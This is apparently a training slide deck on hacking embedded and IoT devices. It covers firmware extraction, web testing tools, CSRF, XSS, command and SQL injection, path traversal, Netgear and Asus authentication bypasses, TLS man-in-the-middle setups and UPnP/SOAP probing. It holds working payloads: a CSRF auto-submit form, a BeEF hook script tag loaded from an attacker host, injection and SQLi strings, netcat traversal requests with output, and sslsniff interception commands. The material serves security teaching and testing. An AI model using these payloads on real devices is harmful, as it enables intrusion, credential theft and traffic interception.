Brainwashing Embedded Systems

CRAIG YOUNG, SECURITY RESEARCHER
Hi, I’m Craig Young!

VERT Security Researcher Since 2012

Won 1st Ever DEF CON Router Hacking Contest
(Demonstrated 10 0-day)

Disclosed Vulns To Many Vendors & Product Teams Including...

- HP
- Adobe
- Apple
- IBM
- Google
- Windows
Chapters

- Firmware RE
- HTTP Hacks
- Web Vulns
- SOAP Exploits
- SSL Attacks
- Android Assist
- WiFi Tricks
Firmware Hacks
What is Firmware?

Wrapper system OS

No standard format
## Obtaining Firmware

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vendor Download</td>
<td>Many vendors offer user-installable firmware updates via HTTP</td>
</tr>
<tr>
<td>Network Sniffing</td>
<td>Update URLs may be extracted from monitoring the network</td>
</tr>
<tr>
<td>UART Probing</td>
<td>Many devices leave exposed UARTs with valuable intel or even shells</td>
</tr>
<tr>
<td>Chip Clipping</td>
<td>When all else fails, ROM chips can be dumped directly or via JTAG</td>
</tr>
</tbody>
</table>
Review GPL sources for insight into firmware extraction
  • Modified versions of common compression tools often used by vendors

Search the image for known file headers
  • Carve files of known type and expand content accordingly

SquashFS is frequently used to store the file system
  • Search for ‘shsq’ magic number to locate start of SquashFS data
Automated binary analysis

Most common usage: `binwalk -e <file>`
Firmware can come from a variety of sources

Vendor update downloads are the easiest
Firmware Extraction Walkthrough

Step 2: Decompress as Needed

```
root@VERTHackLab:~/Firmware# unzip WNDR4700-V1.0.0.52.zip
Archive: WNDR4700-V1.0.0.52.zip
  inflating: WNDR4700-V1.0.0.52.img
  inflating: WNDR4700 V1.0.0.52 ReleaseNote.html

ZIP came from vendor

Product accepts .img
```
### Firmware Extraction Walkthrough

#### Step 3: Extract Contents

```
root@VERTHackLab:~/Firmware/Netgear/WNDR4700/binwalked# binwalk -e ../unzip/WNDR4700-V1.0.0.52.img
```

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>128</td>
<td>0x80</td>
<td>uImage header, header size: 64 bytes, header CRC: 0xCFDF8A93, created: 2013-05-06 14:46:07, image size: 11722 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x503160ED, OS: Linux, CPU: PowerPC, image type: OS Kernel Image, compression type: lzma, image name: &quot;PowerPC OpenWrt Linux-2.6.32&quot;</td>
</tr>
<tr>
<td>6060</td>
<td>0x17AC</td>
<td>eCos RTOS string reference: &quot;ecos&quot;</td>
</tr>
<tr>
<td>131200</td>
<td>0x20080</td>
<td>uImage header, header size: 64 bytes, header CRC: 0x7F71D6C1, created: 2013-05-06 14:46:11, image size: 1870601 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xCFCE75C, OS: Linux, CPU: PowerPC, image type: OS Kernel Image, compression type: lzma, image name: &quot;PowerPC OpenWrt Linux-2.6.32&quot;</td>
</tr>
<tr>
<td>131264</td>
<td>0x200C0</td>
<td>LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 5849344 bytes</td>
</tr>
<tr>
<td>745488</td>
<td>0x86010</td>
<td>MySQL ISAM compressed data file Version 5</td>
</tr>
<tr>
<td>2097216</td>
<td>0x200040</td>
<td>uImage header, header size: 64 bytes, header CRC: 0x208E2A68, created: 2013-05-06 14:46:11, image size: 13959172 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xCA6FAA2D, OS: Linux, CPU: PowerPC, image type: OS Kernel Image, compression type: lzma, image name: &quot;PowerPC OpenWrt Linux-2.6.32&quot;</td>
</tr>
</tbody>
</table>
File system usually is in squashfs-root

```bash
root@VERTHackLab:~/Firmware/Netgear/WD4700/binwalk# cd _WD4700-V1.0.0.52.img.extracted/squashfs-root/
root@VERTHackLab:~/Firmware/Netgear/WD4700/binwalk/_WD4700-V1.0.0.52.img.extracted/squashfs-root# ls
bin etc firmware_version home media opt rom sys var
default_language_version firmware_region hardware_id jffs mnt overlay root tmp www
dev firmware_time hardware_version lib module_name proc sbin usr
root@VERTHackLab:~/Firmware/Netgear/WD4700/binwalk/_WD4700-V1.0.0.52.img.extracted/squashfs-root#`
```

binwalk –e <filename> puts files in dir _<filename>
Example Firmware on VM

- /root/Firmware/*

Binwalk + Deps Preinstalled

- Using sasquatch for custom squashfs
Hands On: Firmware Extraction
Classic Web Vulns: IoT Edition
HTTP as IoT Attack Surface

HTTP Management Interfaces are Everywhere!

Full of Low-Hanging Vulnerability Fruit!

Great Place to Start Looking for Flaws…
# Web Assessment Tools

<table>
<thead>
<tr>
<th>Chrome Dev Tools</th>
<th>cURL</th>
<th>Burp</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ctrl+Shift+I (Mac: Cmd+Opt+I)</td>
<td>Easily generate requests</td>
<td>HTTP Swiss Army Knife</td>
</tr>
<tr>
<td>Monitor Requests</td>
<td>Complete header control</td>
<td>Interception Proxy</td>
</tr>
<tr>
<td>Identify Source Files</td>
<td>Import requests from Chrome</td>
<td>Request Repeater</td>
</tr>
<tr>
<td>Inspect Resources</td>
<td>Useful in BASH script PoCs</td>
<td>Integrated Encoding/Decoding</td>
</tr>
<tr>
<td>Monitor Network Requests</td>
<td>Good for relaying to vendors</td>
<td>Web App Spidering</td>
</tr>
<tr>
<td>Copy as cURL Command</td>
<td></td>
<td>Token Sequence Analysis</td>
</tr>
<tr>
<td>JavaScript Console Access</td>
<td></td>
<td>Copy as cURL Command</td>
</tr>
</tbody>
</table>
Chrome Dev Tools 50,000 Foot View
Chrome Dev Tools 50,000 Foot View

Network Tab

- Log Requests
- Persist Log Across Requests
- Content Type Selection
### Chrome Dev Tools 50,000 Foot View

Select Additional Columns With via Context Menu

<table>
<thead>
<tr>
<th>Name</th>
<th>Method</th>
<th>Status</th>
<th>Remote Address</th>
<th>Type</th>
<th>Initiator</th>
<th>Size</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>form.css</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>stylesheet</td>
<td>2</td>
<td>11.7 KB</td>
<td>3</td>
</tr>
<tr>
<td>index.htm</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>document</td>
<td>0</td>
<td>7.3 KB</td>
<td>36</td>
</tr>
<tr>
<td>basic.css</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>stylesheet</td>
<td>index.htm.2</td>
<td>7.6 KB</td>
<td>4</td>
</tr>
<tr>
<td>funca.js</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>script</td>
<td>index.htm.3</td>
<td>80.1 KB</td>
<td>13</td>
</tr>
<tr>
<td>basic.js</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>script</td>
<td>index.htm.4</td>
<td>11.8 KB</td>
<td>16</td>
</tr>
<tr>
<td>top.js</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>script</td>
<td>index.htm.5</td>
<td>4.9 KB</td>
<td>21</td>
</tr>
<tr>
<td>footer.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>index.htm.185</td>
<td>807 B</td>
<td>6</td>
</tr>
<tr>
<td>top.html</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>index.htm.145</td>
<td>4.4 KB</td>
<td>6</td>
</tr>
<tr>
<td>top-one-line.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>document</td>
<td>index.htm.1</td>
<td>240 B</td>
<td>6</td>
</tr>
<tr>
<td>menus.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>index.htm.145</td>
<td>20.5 KB</td>
<td>13</td>
</tr>
<tr>
<td>search_button.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>index.htm.1</td>
<td>513 B</td>
<td>19</td>
</tr>
<tr>
<td>top.css</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>stylesheet</td>
<td>top.html.3</td>
<td>7.2 KB</td>
<td>5</td>
</tr>
<tr>
<td>funca.js</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>script</td>
<td>top.html.4</td>
<td>80.1 KB</td>
<td>10</td>
</tr>
<tr>
<td>top.js</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>script</td>
<td>top.html.5</td>
<td>4.9 KB</td>
<td>14</td>
</tr>
<tr>
<td>top-one-line.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>top.html.116</td>
<td>243 B</td>
<td>4</td>
</tr>
<tr>
<td>tops.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>top.html.116</td>
<td>7.3 KB</td>
<td>7</td>
</tr>
<tr>
<td>basic_wait.htm</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>document</td>
<td>funca.js.96</td>
<td>707 B</td>
<td>6</td>
</tr>
<tr>
<td>apply.cgi?basic_home..</td>
<td>POST</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>document</td>
<td>VM19B basic_web_1</td>
<td>815 B</td>
<td>7</td>
</tr>
<tr>
<td>hijack_style.css</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>stylesheet</td>
<td>apply.cgi?basic..</td>
<td>6.6 KB</td>
<td>4</td>
</tr>
<tr>
<td>wait30.gif</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>gif</td>
<td>apply.cgi?basic..</td>
<td>6.4 KB</td>
<td>7</td>
</tr>
<tr>
<td>basic_home.htm</td>
<td>GET</td>
<td>200</td>
<td>192.168.10.2/80</td>
<td>document</td>
<td>Other</td>
<td>3.1 KB</td>
<td>50 ms</td>
</tr>
</tbody>
</table>
## Chrome Dev Tools 50,000 Foot View

Select Requests to Inspect Details

<table>
<thead>
<tr>
<th>Name</th>
<th>Headers</th>
<th>Preview</th>
<th>Response</th>
<th>Timing</th>
</tr>
</thead>
<tbody>
<tr>
<td>form.css</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>index.htm</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>basic.css</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>funcs.js</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>basic.js</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top.js</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>footer.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top.html</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top-one-line.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>menus.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>search_button.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top.css</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>funcs.js</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top.js</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>top-one-line.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>tops.gif</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>basicWait.htm</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apply.cgi?/basic_home.htm%20timestamp=82429680</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**General**

- Request URL: http://192.168.10.2/style/form.css
- Request Method: GET
- Status Code: 200 OK
- Remote Address: 192.168.10.2:80

**Response Headers**

- Cache-Control: no-cache
- Connection: close
- Content-Type: text/css; charset=UTF-8
- Date: Thu, 01 Jan 1970 00:53:12 GMT
- Expires: 0
-Pragma: no-cache
- Server: uhttpd/1.0.0

**Request Headers**

- Accept: text/css, */*; q=0.1
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8,de-DE;q=0.6,de;q=0.4
- Authorization: Basic YWRtaW46SEBDQxAQE=
- Connection: keep-alive
- Host: 192.168.10.2
- Referer: http://192.168.10.2/
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Chrome Dev Tools 50,000 Foot View
Request Context Menu for 'Copy as cURL'

curl 'http://192.168.10.2/style/form.css' -H 'Authorization: Basic YWRtaW46SEBDS0xAQiE=' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8,de-DE;q=0.6,de;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36' -H 'Accept: text/css,*/*;q=0.1' -H 'Referer: http://192.168.10.2/' -H 'Connection: keep-alive' --compressed
Chrome Dev Tools 50,000 Foot View
Inspect and Modify Page Elements

*Tweak UI Restrictions By Editing Attributes*
Basic Usage: `curl <scheme://host:port/path>`

- Defaults to HTTP on port 80 if not specified

Custom Header: `-H 'Header: Value'`

Post Data: `-d <data to post> (or @filename)`
Capture requests on the fly
Make modifications en route
Bypass client-side restrictions
Configure as proxy server

Turn interception mode on

Modify any data as desired
Burp Suite Intercepted Request
All Content Can Be Modified Before Forwarding

POST /apply.cgi?/USB_advanced.htm%20timestamp=11896602 HTTP/1.1
Host: 192.168.10.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.2/USB_advanced.htm
Authorization: Basic YWRtaW46SEBDS0xAQIE=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 360

submit_flag=USB_advanced&Apply=++Apply++&hidden_name=&hidden_is ftp=1&hidden_select_number=&delete_sharefolder_name=&delete_folder_path=&enable Net_value=1&enableHTTP_value=1&enableVia_value=1&enableFTP_value=1&volumeName=&usb_device_name=&device_name_change_flag=0&deviceName=DeviceName&worGroup=Workgroup&HTTP_via_port=443&FTP_via_port=21
Burp Proxy HTTP History

Work With Previous Requests
Burp Repeater
HTTP Request Replay Tool

Fabricate new requests based on old ones.
Great for crafting an exploit PoC!
Burp Send To Decoder

Highlight text and select ‘Send to Decoder’ from context menu
YWRtaW465EBDS0xAQIE=
In-tool codecs and hashing algorithms commonly found in web apps
Cross-Site Request Forgery (CSRF)

Isolate requests which change product state

• Does the request include a random token?
• If not, there is probably a CSRF vulnerability

Testing

• GET request: <IMG SRC=URL>
• POST request: <FORM> + JavaScript to auto-submit
Cross-Site Request Forgery (CSRF) Post Example

<form method="post" action="URL" name="csrfIT">
    <input type=hidden name=param1 value=value1>
    <input type=hidden name=param2 value=value2>
</form>

<script type="text/javascript">
    document.csrfIT.submit();
</script>
CSRF Summary

**CSRF exploits ambient authentication**

- WebApps must validate request origins also
- Standard solution is CSRF token

**Token Problems**

- Failure to reject invalid tokens
- Predictable token values
Failure to escape (<, >, ’, ”, etc)
HTML tags invoke scripts
Scripts run in context of app
Attacker code executes on victim system

JavaScript in foreign context can:

• Steal cookies such as authentication tokens
• Forge authenticated requests including CSRF tokens
• Change all aspects of the web app’s appearance

Browser Exploitation Framework (BeEF)

• BeEF can be started from Kali via ’beef-xss’
• Use XSS payload: <script src="http://IP:3000/hook.js"></script>
Vulnerability Locators
Crafted input strings can reveal weakness

Example XSS

• print “<img src=%s>”, input
• input = x” onerror=alert(1)
• Result: JavaScript pop-up
Vulnerability Locators
Crafted input strings can reveal weakness

XSS Locators

• `<img src=x onerror=XSS>`
• `<svg onload=XSS>`
• `x" onerror=XSS`
• `XSS sample value: alert(1337)`
Demonstrating XSS with BeEF

Browser Exploitation Framework (BeEF)

- BeEF can be started from Kali via 'beef-xss'
- `<script src="http://IP:3000/hook.js"></script>`

Some capabilities of BeEF

- Proxy requests through client
- Interrogate browser environment (plugins/auth/etc)
- Launch browser exploits
Vulnerability Locators
Crafted input strings can reveal weakness

OS Injection Story

- OS commands/dynamic code needed
- eval()/system() get passed user input
- Result is unintended code execution
Vulnerability Locators
Crafted input strings can reveal weakness

Perl eval() Injection

• Code: eval($_REQUEST[a]+’()’)
• a = `touch /tmp/proofofpwnership`
• Result: File is created by Perl script
Vulnerability Locators
Crafted input strings can reveal weakness

OS Injection Locators

- `a|touch${IFS}/tmp/filename`
- ``echo EXPECTED_INPUT``
- `265.1.2.3||uname` – “ping injection”
Tips & Tricks

• `$IFS` can provide whitespace
• `reboot` can lead to boot loop
• Getting a shell helps with device RE
• Many devices only have root user
Ping Command Injection

- Diagnostic functions like ‘ping’ often get passed into `system()`.
- If `echo INPUT` works the same as INPUT, there is usually shell expansion.
Vulnerability Locators
Crafted input strings can reveal weakness

SQL Injection Story

• App requires database backend
• Unsafe data used in SQL query
• Users can manipulate the DB
Vulnerability Locators
Crafted input strings can reveal weakness

SQLi WHERE Injection

- q = "select id from users where (u='%s') and (p='%s')" % (u,p)
- u=admin; p = x' or 'x'='x
- (u='admin') and (p='x' or 'x'='x')
- Login as any user!
Vulnerability Locators
Crafted input strings can reveal weakness

SQLi Locators

- 'X' or 'x'='x
- 1 or 1=1
- 'HAVING 1=1
Vulnerability Locators
Crafted input strings can reveal weakness

SQLi Locators Usage

- Extra results indicate success
- Confirm by flipping boolean
- Example: x’ and ‘x’=‘y
Tips & Tricks

• SQLite allows file creation
• Possible to create some web shells
• Sometimes SQLi is chainable
Traversal Attacks
Don’t Forget About OLD Attack Techniques

```bash
root@VERTHackLab:~# echo -ne "GET ../../../etc/resolv.conf HTTP/1.0\r\n\r\n" | nc 192.168.0.178 80
HTTP/1.1 200 OK
Server: Netwave IP Camera
Date: Thu, 01 Jan 1970 00:52:15 GMT
Content-Type: text/html
Content-Length: 46
Cache-Control: private
Connection: close

nameserver 192.168.0.1
nameserver 192.168.0.1
```

- Try using ../ traversal anywhere the system handles a file path
  - ../etc/resolv.conf, ../etc/hosts, and ../etc/passwd are good tests
HTTP Hacking

```
root@VERTHackLab:~# echo -ne "GET /../etc/resolv.conf HTTP/1.0\r\n\n" | nc 192.168.0.178 80
HTTP/1.1 200 OK
Server: Netwave IP Camera
Date: Thu, 01 Jan 1970 00:52:15 GMT
Content-Type: text/html
Content-Length: 46
Cache-Control: private
Connection: close

nameserver 192.168.0.1
nameserver 192.168.0.1
root@VERTHackLab:~# ```
The Role of HTTP on Embedded Devices

HTTP as a main interface

- Configuration or operation via browser

HTTP as middleware

- UI provided by mobile app
- API for network communications
Locating Web Services within Firmware

Search for HTTP server binaries:

*http*: httpd, uhttp, minihttpd, tinyhttpd, lighttpd

Search for document root directories:

Anything containing ‘www’, ‘web’, ‘html’
Paths containing *.js, *.htm, *.css, or other web content
Crawling The HTTP Interface

Compile a list of likely URLs from firmware analysis

find /web – print

strings httpd | grep ???
Save each HTTP 200 response

Check HTTP response code

Request each URL in a loop
Find the responses for goodies:

- Usernames
- Passwords
- Paired devices
- Personal data
- Network details
- Diagnostic output
Finding Authentication Bypasses

Compare queries resulting in 200 OK

• What do the names have in common?
• Same extension/prefix/path?
All *.xyz requests yield 200

- Request RestrictedFile.foo -> 401
- Request RestrictedFile.foo?.xyz -> 200
- Appending ‘?.xyz’ bypassed auth
Testing Prefix Bypasses

images/* yields a 200

- Request File.foo -> 401
- Request images/../File.foo -> 200
- Prepending ‘images/../’ bypassed auth
Authentication Mechanisms
The Four Most Popular Auth Schemes for IoT

HTTP Basic: Each request includes creds in header
• Authorization: Basic base64("username:password")

Cookie: App validates credentials and sets a cookie with an auth token
• Cookie: SESSID=547972656c206973206e6f7420646566164

Client-Based: No ”real” auth. Client is expected to restrict access.
• JavaScript: var password = "3858f62230ac3c915f300c664312c63f”;

Infrastructure: User links cloud account with device for access.
Potential Session Cookie Issues

- Do the tokens expire?
- Is there proper entropy across tokens?
- Is the cookie httpOnly? (XSS mitigation)
Hands On Exercise 2: Practice with HTTP Crawling

Routers all use 192.168.1.1

WPA2: !!!Bad Password!!!
Why Does This Work?

- Logic error within authentication process
- Due to checks for whitelisted requests
- Pattern is checked on query instead of file
A Deeper Look At Netgear’s Authentication

- Disassembly of uhttpd reveals auth handler: uh_auth_check()
A Deeper Look At Netgear’s Authentication

- `uh_auth_check()` is referenced from two places
- Output from `uh_path_lookup()` determines how the auth check will be used
A Deeper Look At Netgear’s Authentication

`uh_path_lookup()`

- `uh_path_lookup()` makes decisions based on the requested path
A Deeper Look At Netgear’s Authentication

```c
main()
```

- The results from `uh_path_lookup()` and `uh_auth_check()` for many requests leads to `uh_cgi_request()`
A Deeper Look At Netgear’s Authentication

*uh_cgi_request()*

*uh_cgi_request() invokes the net-cgi handler binary*
MIME Handling

- The HTTP server infers MIME types based on the requested file
- A data structure defines how to handle files based on a pattern table:

```c
/* Generic MIME type handler */
struct mime_handler {
    char *pattern;
    char *mime_type;
    char *extra_header;
    void (*input)(char *path, FILE *stream, int len, char *boundary);
    void (*output)(char *path, FILE *stream);
    void (*auth)(char *userid, char *password, char *realm);
};
```

**This code snippet is from AsusWRT which probably came from similar code as NETGEAR used.**
The following code snippet is from AsusWRT again:

```c
struct mime_handler mime_handlers[] = {
    { "Main_Login.asp", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
    { "Nologin.asp", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
    { "error_page.htm*", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
    { "blocking.asp", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
    { "gotoHomePage.htm", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
    { "ure_success.htm", "text/html", no_cache_IE7, do_html_post_and_get, do_ej, NULL },
```

This means no authentication is required!
A Deeper Look At Netgear’s Authentication

Exploring net-cgi

Zach Cutlip documented net-cgi clearly

Some illustrations are from his blog

• http://shadow-file.blogspot.com/
A Deeper Look At Netgear’s Authentication

Exploring net-cgi

1. Is the pattern a substring of the requested object?

2. If not, go to the next mime handler and check again.

A Deeper Look At Netgear’s Authentication

Exploring net-cgi

No authentication handler for BRS_*!

This means that any request starting with “BRS_” requires no auth…
A Deeper Look At Netgear’s Authentication

Exploring net-cgi
A Deeper Look At Netgear’s Authentication

BRS_success.html

Well this is interesting...
Sidestep To Asus
Remember error_page.htm?

```javascript
if('<% nvram_get("w_Setting"); %> == '0' || '<% nvram_get("http_passwd"); %> == 'admin')
    setTimeout("parent.location = "http://"+new_lan_ip+"/QIS_wizard.htm?flag=welcome"", 2*1000);
else
    setTimeout("parent.location = "http://"+new_lan_ip+"/QIS_wizard.htm?flag=detected"", 2*1000);
```

This code is from a white-listed file. `nvram_get()` is a server directive. "http_passwd" == admin pw
The check is performed based on the query string!

After parsing, the query string can look much different…

Query: /secretstuff.html?foobar ➔ Requested File: /secretstuff.html
Query: /foobar/../secretstuff.html ➔ Requested File: /secretstuff.html

User-controlled input determines whether the auth handler is NULL
Further Into The Rabbit Hole
Auth Hijack

_config_invmatch() checks config values

Code asserts ‘hijack_process==3’ before auth check

Other values lead to disabled authentication
hijack_process Next Steps

- Need to find where this value is accessed
- Web server has server directives for getting and setting configuration
  - `cfg_set()` is used to set values in NVRAM
  - A simple grep of the extracted firmware reveals:

```bash
$ grep -rn 'cfg_set("hijack_process")' *
BRS_02_genieHelp.html:12:<% cfg_set("hijack_process", "1") %>
```

BINGO! hijack_process=1 will disable all auth checks!

BONUS: mime_handler for ‘BRS_*’ has no authentication function set!
SSL Attacks
SSL (now known as TLS) provides an encrypted channel

Public key cryptography underpins the entire system

- Servers generate a public/private key pair
- A certificate includes the public key & describes how it can be used
- Certification authority attests to the owner’s identity with a signature
- Servers present the signed certificate to connecting clients
How Does TLS Break?

Library Implementation Failures
- Heartbleed
- Change Cipher Spec Injection

Protocol Failures
- Legacy Renegotiation (CVE-2009-3555)
- BEAST (predictable initialization vectors in TLS 1.0 CBC mode)

Deployment Failures
- Use of self-signed certificates undermines protection from MiTM
- Insufficient certificate validation

Crypto Failures
- Deprecated cipher suites like RC4
- Padding oracles can reveal plaintext content
Certificate validation is crucial to test

- Many designs use self-signed certificates without pinning
- Validation often gets disabled for QA and is not re-enabled

OpenSSL use is prevalent in IoT

- Heartbleed may be the most devastating and likely flaw
Two points for testing:

- Client → Embedded Device
- Embedded Device → Vendor Infrastructure

Goal here is to simulate an active network adversary

Step one is to become a man-in-the-middle (MiTM)
Becoming MiTM

Introduce a new router

Connect through a VPN

Setup a rogue access point for 802.11
What to do with MiTM

Redirect connections to transparent proxy

- SSLsniff – Generates certs on the fly and logs data
- Mallory – Intercept and manipulate SSL traffic

Redirect is easy with iptables
Testing Mobiles With VPN

- Install Linux and configure as a VPN gateway
  - Ubuntu + PPTP is easy: https://help.ubuntu.com/community/PPTPServer

- Install sslsniff
  - https://github.com/moxie0/sslsniff.git or apt-get install sslsniff

- Configure iptables to reroute desired traffic
  - Example: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 4443

- Run sslsniff in authoritative mode with bundled wildcard cert
  - sslsniff -a -s 4443 -w /tmp/sslsniff.log -c /usr/share/sslsniff/certs/wildcard

- Connect mobile to VPN and launch device app

- If the app works, it is not using a secure SSL channel
  - The log file (/tmp/sslsniff.log here) will contain communication logs
Exploiting SOAP
What is SOAP?

SOAP is Simple Object Access Protocol

Common method for offering a network API

Generally uses XML messages over HTTP
SSDP is used to announce services

- HTTP-like protocol running on UDP/1900
- Multicast search and notification
- Part of Universal Plug n' Play support
M-SEARCH *
Packet for finding targets

M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:ssdp:discover
MX:3

239.255.255.250 is the reserved multicast address for SSDP

Probes sent to unicast address work too

HTTP line endings (CRLF)
Example Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed October 21, 2015 07:28:00 GMT
Ext:
Location: http://10.1.1.1:1780/devicedesc.xml
Server: AirDream UPnP/1.0 LibUPnP
ST: upnp:rootdevice
USN: uuid:4d72526f-626f-7420-4653-6f6369657479::upnp:rootdevice
Download the XML referenced in the “Location:” header

- This is a WSDL file (Web Services Description Language)
- Describes the device and available web services

The WSDL file may contain:

- PresentationURL : This will generally be a URL for web management
- friendlyName/modelName/modelDescription : Attributes to identify the device
- deviceType : Reference to upnp schema for device type
- manufacturer/manufacturerURL : Information about the vendor
- serviceList : Section dealing with available endpoints for control or monitoring
  - SCPDURL : Service Control Protocol Document URL
<actionList>
  <action>
    <name>GetDeviceInfo</name>
    <argumentList>
      <argument>
        <name>NewDeviceInfo</name>
        <direction>out</direction>
        <relatedStateVariable>DeviceInfo</relatedStateVariable>
      </argument>
    </argumentList>
  </action>
  ...
</actionList>
<actionList>
  <action>
    <name>GetDeviceInfo</name> ⇐ Action Name
    <argumentList>
      <argument>
        <name>NewDeviceInfo</name> ⇐ Argument Name
        <direction>out</direction> ⇐ Input or Output Argument
        <relatedStateVariable>DeviceInfo</relatedStateVariable>
      </argument>
    </argumentList>
  </action>
  ...
</actionList>
Constructing a SOAP Request

Request Parameters:

- `$Service` – WSDL”’serviceType’” tag
- `$URL` – “controlURL” tag from WSDL
- `$Action` – Selected from the SCPD xml
- `$Argument[]` – Specified in SCPD Action
Example SOAP Request

- POST $URL HTTP/1.0
  Content-Type: text/xml
  SOAPACTION: $Service#$Action
  Content-Length: <xml length>

- <?xml version="1.0" encoding="utf-8" ?>
  <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  <s:Body>
    <u:$Action xmlns:u="$Service">
      <$Argument[0]>
        $Value[0]
      </$Argument[0]>
      [...more arguments as needed...]
    </u:$Action>
  </s:Body>
  </s:Envelope>
SOAP Request Argument Formats

- The `<serviceStateTable>` section can offer insight into data types and defaults

- Example:
  `<stateVariable sendEvents="yes">`
  `<name>FriendlyName</name>`
  `<dataType>string</dataType>`
  `<defaultValue>0</defaultValue>`
  `</stateVariable>`

- `dataType` of `bin.b64` means the data must be base64 encoded
SOAP BASH

CAT="basicevent"; ACTION="GetSmartDevInfo"
CTRLURL="/upnp/control/{CAT}1"; SERVICE="urn:Belkin:service:{CAT}:1"

cat > soap.tmp <<EOF
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
    s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    <s:Body>
    <u:$ACTION xmlns:u="$SERVICE">  </u:$ACTION>
</s:Body>
</s:Envelope>
EOF

curl "http://10.22.22.1:49152$CTRLURL" -H "SOAPACTION: "$SERVICE#$ACTION"" -H "Content-Type: text/xml; charset="utf-8"" -d @soap.tmp
SOAP Walkthrough
Discovery with Miranda

upnp> msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

*******************************************************************************
SSDP reply message from 10.22.22.1:49152
XML file is located at http://10.22.22.1:49152/setup.xml
Device is running Unspecified, UPnP/1.0, Unspecified

*******************************************************************************
SOAP Walkthrough
Reading the WSDL

```xml
<service>
